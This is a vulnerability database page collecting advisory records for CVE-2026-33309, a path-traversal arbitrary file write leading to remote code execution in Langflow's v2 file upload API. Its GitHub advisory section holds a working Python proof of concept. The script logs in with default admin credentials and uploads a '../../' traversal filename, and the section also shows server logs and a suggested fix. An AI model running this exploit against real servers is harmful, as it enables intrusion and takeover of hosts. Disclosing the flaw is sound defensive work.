Vulnerability-Lookup

PYSEC-2026-79

Vulnerability from pysec - Published: 2026-03-24 13:16 - Updated: 2026-05-20 09:19

Details

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within LocalStorageService remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency. This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Impacted products

Name	purl
langflow	pkg:pypi/langflow

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow",
        "purl": "pkg:pypi/langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.2.0",
        "1.3.0",
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3.4",
        "1.4.0",
        "1.4.1",
        "1.4.2",
        "1.4.3",
        "1.5.0",
        "1.5.0.post1",
        "1.5.0.post2",
        "1.5.1",
        "1.6.0",
        "1.6.1",
        "1.6.2",
        "1.6.3",
        "1.6.4",
        "1.6.5",
        "1.6.6",
        "1.6.7",
        "1.6.8",
        "1.6.9",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.8.0",
        "1.8.0rc0",
        "1.8.0rc1",
        "1.8.0rc2",
        "1.8.0rc3",
        "1.8.0rc4",
        "1.8.0rc5",
        "1.8.0rc6",
        "1.8.1",
        "1.8.2",
        "1.8.3",
        "1.8.3rc0",
        "1.8.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33309",
    "GHSA-g2j9-7rj2-gm6c"
  ],
  "details": "Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.",
  "id": "PYSEC-2026-79",
  "modified": "2026-05-20T09:19:04.514929Z",
  "published": "2026-03-24T13:16:02.983Z",
  "references": [
    {
      "type": "EVIDENCE",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-33309 (GCVE-0-2026-33309)

Vulnerability from cvelistv5 – Published: 2026-03-24 12:49 – Updated: 2026-03-25 03:55

Title

Langflow has an Arbitrary File Write (RCE) via v2 API

Summary

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Severity

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-24 00:00 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 - External Control of File Name or Path
CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-284 - Improper Access Control

Assigner

GitHub_M mitre root Scorecard

References

1 reference

URL	Tags
https://github.com/langflow-ai/langflow/security/…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
langflow-ai	langflow	Affected: >= 1.2.0, < 1.9.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33309",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-24T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-25T03:55:47.098Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "langflow",
          "vendor": "langflow-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.2.0, \u003c 1.9.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-24T12:49:16.276Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
        }
      ],
      "source": {
        "advisory": "GHSA-g2j9-7rj2-gm6c",
        "discovery": "UNKNOWN"
      },
      "title": "Langflow has an Arbitrary File Write (RCE) via v2 API"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33309",
    "datePublished": "2026-03-24T12:49:16.276Z",
    "dateReserved": "2026-03-18T21:23:36.675Z",
    "dateUpdated": "2026-03-25T03:55:47.098Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-G2J9-7RJ2-GM6C

Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-06-06 00:55

Summary

Langflow has an Arbitrary File Write (RCE) via v2 API

Details

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

Sanitize the multipart filename before processing:

from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")

Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)

print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures  secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-284",
      "CWE-73",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:46:43Z",
    "nvd_published_at": "2026-03-24T13:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
  "id": "GHSA-g2j9-7rj2-gm6c",
  "modified": "2026-06-06T00:55:50Z",
  "published": "2026-03-19T17:46:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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PYSEC-2026-79

CVE-2026-33309 (GCVE-0-2026-33309)

GHSA-G2J9-7RJ2-GM6C

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour